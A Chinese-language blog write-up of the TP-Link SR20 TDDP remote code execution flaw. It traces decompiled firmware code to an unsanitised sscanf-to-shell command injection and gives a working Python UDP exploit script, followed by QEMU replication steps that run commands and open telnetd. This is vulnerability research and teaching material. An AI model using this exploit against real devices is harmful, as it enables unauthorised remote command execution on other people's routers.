• Home
  • About
    • tearorca photo

      tearorca

      Wishful thinking have to be willing to bet on clothing!

    • Learn More
    • Google+
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

TP-Link SR20 远程代码执行漏洞

20 Aug 2019

Reading time ~7 minutes

  • TP-Link SR20 远程代码执行漏洞
    • 漏洞介绍
    • 漏洞分析
    • exp编写
    • 漏洞复现
    • 参考链接

TP-Link SR20 远程代码执行漏洞

漏洞介绍

TDDP 是 TP-Link 申请了专利的调试协议,基于 UDP 运行在 1040 端口,该漏洞存在于TP-Link 设备TDDP调试协议中。

固件下载:https://static.tp-link.com/2018/201806/20180611/SR20(US)_V1_180518.zip

这个漏洞被作为2019 工控安全比赛第一场的一道固件逆向的题目。

如果图片无法正常显示:https://github.com/tearorca/tearorca.github.io/blob/master/_posts/2019-8-20-TP-Link%20SR20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md

漏洞分析

用binwalk提取固件之后找到tddp的位置,用ida加载tddp,然后根据题目的意思查找字符串CMD_。

可以找到这么多,仔细看下,可以发现这些字符串实际都是出现在一个函数里面,进入到这个函数F5直接看伪代码。可以看到比较明显的switch判断,接着输出以上字符串。按顺序来看一看判断不同进入的函数有什么问题。

int __fastcall sub_15E74(_BYTE *a1, _DWORD *a2)
{
  uint32_t v2; // r0
  __int16 v3; // r2
  uint32_t v4; // r0
  __int16 v5; // r2
  _DWORD *v7; // [sp+0h] [bp-24h]
  _BYTE *v8; // [sp+4h] [bp-20h]
  _BYTE *v9; // [sp+Ch] [bp-18h]
  _BYTE *v10; // [sp+10h] [bp-14h]
  int v11; // [sp+1Ch] [bp-8h]

  v8 = a1;
  v7 = a2;
  v10 = a1 + 0xB01B;
  v9 = a1 + 82;
  a1[82] = 1;
  switch ( a1[0xB01C] )
  {
	case 4:
	  printf("[%s():%d] TDDPv1: receive CMD_AUTO_TEST\n", 0x195F8, 0x2B9);
	  v11 = sub_AC78(v8);
	  break;
	case 6:
	  printf("[%s():%d] TDDPv1: receive CMD_CONFIG_MAC\n", 103928, 638);
	  v11 = sub_9944(v8);
	  break;
	case 7:
	  printf("[%s():%d] TDDPv1: receive CMD_CANCEL_TEST\n", 103928, 648);
	  v11 = sub_ADDC((int)v8);
	  if ( !v8
		|| !(*((_DWORD *)v8 + 11) & 4)
		|| !v8
		|| !(*((_DWORD *)v8 + 11) & 8)
		|| !v8
		|| !(*((_DWORD *)v8 + 11) & 0x10) )
	  {
		*((_DWORD *)v8 + 11) &= 0xFFFFFFFD;
	  }
	  *((_DWORD *)v8 + 8) = 0;
	  *((_DWORD *)v8 + 11) &= 0xFFFFFFFE;
	  break;
	case 8:
	  printf("[%s():%d] TDDPv1: receive CMD_REBOOT_FOR_TEST\n", 103928, 702);
	  *((_DWORD *)v8 + 11) &= 0xFFFFFFFE;
	  v11 = 0;
	  break;
	case 0xA:
	  printf("[%s():%d] TDDPv1: receive CMD_GET_PROD_ID\n", 103928, 643);
	  v11 = sub_9C24(v8);
	  break;
	case 0xC:
	  printf("[%s():%d] TDDPv1: receive CMD_SYS_INIT\n", 103928, 615);
	  if ( v8 && *((_DWORD *)v8 + 11) & 2 )
	  {
		v9[1] = 4;
		v9[3] = 0;
		v9[2] = 1;
		v2 = htonl(0);
		*((_WORD *)v9 + 2) = v2;
		v9[6] = BYTE2(v2);
		v9[7] = HIBYTE(v2);
		v3 = ((unsigned __int8)v10[9] << 8) | (unsigned __int8)v10[8];
		v9[8] = v10[8];
		v9[9] = HIBYTE(v3);
		v11 = 0;
	  }
	  else
	  {
		*((_DWORD *)v8 + 11) &= 0xFFFFFFFE;
		v11 = -10411;
	  }
	  break;
	case 0xD:
	  printf("[%s():%d] TDDPv1: receive CMD_CONFIG_PIN\n", 103928, 682);
	  v11 = sub_A97C(v8);
	  break;
	case 0x30:
	  printf("[%s():%d] TDDPv1: receive CMD_FTEST_USB\n", 103928, 687);
	  v11 = sub_A3C8(v8);
	  break;
	case 0x31:
	  printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", 103928, 692);
	  v11 = sub_A580((int)v8);
	  break;
	default:
	  printf("[%s():%d] TDDPv1: receive unknown type: %d\n", 103928, 713, (unsigned __int8)a1[45084], a2);
	  v9[1] = v10[1];
	  v9[3] = 2;
	  v9[2] = 2;
	  v4 = htonl(0);
	  *((_WORD *)v9 + 2) = v4;
	  v9[6] = BYTE2(v4);
	  v9[7] = HIBYTE(v4);
	  v5 = ((unsigned __int8)v10[9] << 8) | (unsigned __int8)v10[8];
	  v9[8] = v10[8];
	  v9[9] = HIBYTE(v5);
	  v11 = -10302;
	  break;
  }
  *v7 = ntohl(((unsigned __int8)v9[7] << 24) | ((unsigned __int8)v9[6] << 16) | ((unsigned __int8)v9[5] << 8) | (unsigned __int8)v9[4])
	  + 12;
  return v11;
}

在case 0xA的函数里面发现了sub_91DC函数

int __fastcall sub_9C24(_BYTE *a1)
{
  __int16 v1; // r2
  _BYTE *v2; // r3
  unsigned int v3; // r0
  uint32_t v4; // r0
  _BYTE *v5; // r3
  int v6; // r3
  uint32_t v7; // r0
  _BYTE *v8; // r3
  uint32_t hostlong; // [sp+8h] [bp-24h]
  char s; // [sp+Ch] [bp-20h]
  _BYTE *v12; // [sp+18h] [bp-14h]
  _BYTE *v13; // [sp+1Ch] [bp-10h]
  _BYTE *v14; // [sp+20h] [bp-Ch]
  void *dest; // [sp+24h] [bp-8h]

  v14 = a1 + 45083;
  dest = a1 + 82;
  v13 = a1 + 45083;
  v12 = a1 + 82;
  a1[83] = 10;
  v12[2] = 2;
  v1 = ((unsigned __int8)v13[9] << 8) | (unsigned __int8)v13[8];
  v2 = v12;
  v12[8] = v13[8];
  v2[9] = HIBYTE(v1);
  if ( sub_91DC("getfirm PRODUCTID > /tmp/productid-tmp") == -1 )
  {
	v12[3] = 3;
	v7 = htonl(0);
	v8 = v12;
	v12[4] = v7;
	v8[5] = BYTE1(v7);
	v8[6] = BYTE2(v7);
	v8[7] = HIBYTE(v7);
	v6 = sub_13018(-1, 94600);
  }
  else
  {
	if ( *v13 == 1 )
	  dest = (char *)dest + 12;
	else
	  dest = (char *)dest + 28;
	snprintf(&s, 0xBu, "0x00000000");
	printf("[%s():%d] product id is: %s\n", 98256, 239, &s);
	v3 = strtoul(&s, 0, 16);
	hostlong = htonl(v3);
	printf("[%s():%d] product id is: %08x\n", 98256, 242, hostlong);
	memcpy(dest, &hostlong, 4u);
	v12[3] = 0;
	v4 = htonl(4u);
	v5 = v12;
	v12[4] = v4;
	v5[5] = BYTE1(v4);
	v5[6] = BYTE2(v4);
	v5[7] = HIBYTE(v4);
	v6 = 0;
  }
  return v6;
}

进入到这个sub_91DC函数里面,可以看到一个execve的系统调用命令,它的参数就是传进来的参数a1。但从前面的代码来看,传入的参数是”getfirm PRODUCTID >/tmp/productid-tmp”,这个参数并不受我们控制,所以无法达到目的。但也不是没有收获,至少发现了这个有execve命令的sub_91DC函数,关注这个函数,只需要找到能控制传入的参数就可以getshell。

signed int sub_91DC(const char *a1, ...)
{
  char *argv; // [sp+8h] [bp-11Ch]
  int v4; // [sp+Ch] [bp-118h]
  char *v5; // [sp+10h] [bp-114h]
  int v6; // [sp+14h] [bp-110h]
  int stat_loc; // [sp+18h] [bp-10Ch]
  char s; // [sp+1Ch] [bp-108h]
  __pid_t pid; // [sp+11Ch] [bp-8h]
  const char *varg_r0; // [sp+128h] [bp+4h]
  va_list varg_r1; // [sp+12Ch] [bp+8h]

  va_start(varg_r1, a1);
  varg_r0 = a1;
  pid = 0;
  stat_loc = 0;
  argv = 0;
  v4 = 0;
  v5 = 0;
  v6 = 0;
  vsprintf(&s, a1, varg_r1);
  printf("[%s():%d] cmd: %s \r\n", 94112, 72, &s);
  pid = fork();
  if ( pid < 0 )
	return -1;
  if ( !pid )
  {
	argv = "sh";
	v4 = 94028;
	v5 = &s;
	v6 = 0;
	execve("/bin/sh", &argv, 0);
	exit(127);
  }
  while ( waitpid(pid, &stat_loc, 0) == -1 )
  {
	if ( *_errno_location() != 4 )
	  return -1;
  }
  return 0;
}

回到最前面,继续往下找。一直找到了“case 0x31”的位置,又发现sub_91DC这个函数,并且这个时候它的参数是可控的,往前找下这个参数是怎么来的。

int __fastcall sub_A580(int a1)
{
  void *v1; // r0
  uint32_t v2; // r0
  _BYTE *v3; // r3
  __int16 v4; // r2
  _BYTE *v5; // r3
  int v6; // r3
  int v7; // r0
  int v10; // [sp+4h] [bp-E8h]
  char name; // [sp+8h] [bp-E4h]
  char v12; // [sp+48h] [bp-A4h]
  char s; // [sp+88h] [bp-64h]
  _BYTE *v14; // [sp+C8h] [bp-24h]
  _BYTE *v15; // [sp+CCh] [bp-20h]
  int v16; // [sp+D0h] [bp-1Ch]
  int v17; // [sp+D4h] [bp-18h]
  char *v18; // [sp+D8h] [bp-14h]
  int v19; // [sp+DCh] [bp-10h]
  int v20; // [sp+E0h] [bp-Ch]
  char *v21; // [sp+E4h] [bp-8h]

  v10 = a1;
  v20 = 1;
  v19 = 4;
  memset(&s, 0, 0x40u);
  memset(&v12, 0, 0x40u);
  v1 = memset(&name, 0, 0x40u);
  v18 = 0;
  v17 = luaL_newstate(v1);
  v21 = (char *)(v10 + 0xB01B);
  v16 = v10 + 0x52;
  v15 = (_BYTE *)(v10 + 0xB01B);
  v14 = (_BYTE *)(v10 + 0x52);
  *(_BYTE *)(v10 + 0x53) = '1';
  v2 = htonl(0);
  v3 = v14;
  v14[4] = v2;
  v3[5] = BYTE1(v2);
  v3[6] = BYTE2(v2);
  v3[7] = HIBYTE(v2);
  v14[2] = 2;
  v4 = ((unsigned __int8)v15[9] << 8) | (unsigned __int8)v15[8];
  v5 = v14;
  v14[8] = v15[8];
  v5[9] = HIBYTE(v4);
  if ( *v15 == 1 )
  {
	v21 += 12;
	v16 += 12;
  }
  else
  {
	v21 += 28;
	v16 += 28;
  }
  if ( !v21 )
	goto LABEL_20;
  sscanf(v21, "%[^;];%s", &s, &v12);
  if ( !s || !v12 )
  {
	printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
LABEL_20:
	v14[3] = 3;
	return sub_13018(-10303, 94892);
  }
  v18 = inet_ntoa(*(struct in_addr *)(v10 + 4));
  sub_91DC("cd /tmp;tftp -gr %s %s &", &s, v18);
  sprintf(&name, "/tmp/%s", &s);
  while ( v19 > 0 )
  {
	sleep(1u);
	if ( !access(&name, 0) )
	  break;
	--v19;
  }
  if ( !v19 )
  {
	printf("[%s():%d] lua file [%s] don't exsit.\n", 98236, 574, &name);
	goto LABEL_20;
  }
  if ( v17 )
  {
	luaL_openlibs(v17);
	v6 = luaL_loadfile(v17, &name);
	if ( !v6 )
	  v6 = lua_pcall(v17, 0, -1, 0);
	lua_getfield(v17, -10002, 94880, v6);
	lua_pushstring(v17, &v12);
	lua_pushstring(v17, v18);
	lua_call(v17, 2, 1);
	v7 = lua_tonumber(v17, -1);
	v20 = sub_16EC4(v7);
	lua_settop(v17, -2);
  }
  lua_close(v17);
  if ( v20 )
	goto LABEL_20;
  v14[3] = 0;
  return 0;
}

可以看到这个参数s是由这句话赋值的

sscanf(v21, "%[^;];%s", &s, &v12);

sscanf也是一个字符串格式化函数,这个函数的声明如下

int sscanf(const char *str, const char *format, ...)

参数:

	str -- 这是 C 字符串,是函数检索数据的源。

	format -- 这是 C 字符串,包含了以下各项中的一个或多个:空格字符、非空格字符 和
	format 说明符。format 说明符形式为[=%[*][width][modifiers]type=],具体讲解如下:

sscanf(v21, “%[^;];%s”, &s, &v12);所以这句代码的意思是把v21按照后面格式化字符串进行分割。“%[^;]”则是过滤了“;”符号。这里就有问题了,只是过滤了“;”而没有过滤“ ”或者“&”这样就可以实现命令注入的攻击。再回上去找v21是什么。
v10 = a1;

v21 = (char *)(v10 + 0xB01B);

可以找到v21是这个函数的参数的0xB01B位。再回到前一个函数,a1也是前一个函数sub_15E74的第一个参数。继续查看交叉引用找前一个函数。

v18 = recvfrom(*(_DWORD *)(v14 + 0x24), (void *)(v14 + 0xB01B), 0xAFC8u, 0, &addr, &addr_len);

v21 = sub_15E74((_BYTE *)v14, &n);

这个recvfrom函数是一个接收函数。

ssize_t recvfrom(int sockfd,void *buf,size_t len,unsigned int flags, struct sockaddr *from,socket_t *fromlen);

参数:

	sockfd:标识一个已连接套接口的描述字。

	buf:接收数据缓冲区。

	len:缓冲区长度。

	flags:调用操作方式。是以下一个或者多个标志的组合体,可通过“ | ”操作符连在一起

函数说明:recvfrom()用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的网络地址,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.

所以v14 + 0xB01B接收到socket传来的值。再往前可以在sub_16ACC函数中找到初始化。

memset((char *)s + 0xB01B, 0, 0xAFC9u);

exp编写

首先是switch ( a1[0xB01C])要为0x31,接着后面一段代码,先让v15等于1然后再越过12个字节之后用sscanf进行分割命令。所以payload前面是‘x01x31’后面在填充到12个字节。在 ; 最后还需要填充字符,因为在使用 sscanf 函数进行分割命令后会判断 ; 后面的内容是否为空。

v10 = a1;
v15 = (_BYTE *)(v10 + 0xB01B);
v21 = (char *)(v10 + 0xB01B);
if ( *v15 == 1 )
  {
	v21 += 12;
	v16 += 12;
  }
  else
  {
	v21 += 28;
	v16 += 28;
  }
sscanf(v21, "%[^;];%s", &s, &v12);

最后的exp,sys.argv[]用来接收输入的参数,tddp的端口是1040

from pwn import *
from socket import *
import sys

tddp_port = 1040

s_send = socket(AF_INET,SOCK_DGRAM,0)
s_recv = socket(AF_INET,SOCK_DGRAM,0)

s_recv.bind(('',12345))

payload = '\x01\x31'.ljust(12,'\x00')

payload+= "aaa|%s&&echo ;aaa"%(sys.argv[2])

print payload

s_send.sendto(payload,(sys.argv[1],tddp_port))
s_send.close()

res,addr= s_recv.recvfrom(1024)

print res

漏洞复现

安装完qemu-arm之后从 Debian 官网下载 QEMU 需要的 Debian ARM 系统的三个文件:

debian_wheezy_armhf_standard.qcow2 2013-12-17 00:04 229M

initrd.img-3.2.0-4-vexpress 2013-12-17 01:57 2.2M

vmlinuz-3.2.0-4-vexpress 2013-09-20 18:33 1.9M

把以上三个文件放在同一个目录执行以下命令

sudo tunctl -t tap0 -u `whoami` # 为了与 QEMU 虚拟机通信,添加一个虚拟网卡

$ sudo ifconfig tap0 10.10.10.1/24 # 为添加的虚拟网卡配置 IP 地址

$ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd
initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2
-append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net
tap,ifname=tap0,script=no,downscript=no -nographic

进入成功之后的界面,用户名和密码都是root。

再配置网卡

ifconfig eth0 10.10.10.2/24

现在需要把从固件中提取出的文件系统打包后上传到 QEMU 虚拟机中,先打包整个文件系统。

tar -cjpf squashfs-root.tar.bz2 squashfs-root/

使用 Python 搭建简易 HTTP Server

$ python -m SimpleHTTPServer

在 QEMU 虚拟机中下载上面打包好的文件

wget http://10.10.10.1:8000/squashfs-root.tar.bz2

之后就是挂载,切换根目录固件文件系统

然后直接运行tddp服务。

最后运行exp进行攻击

输出date

查看当前开放的端口,telneted没有打开。

打开telnetd端口

参考链接

https://paper.seebug.org/879/#tftp-server

https://www.cnblogs.com/H4lo/p/11287808.html



Share Tweet +1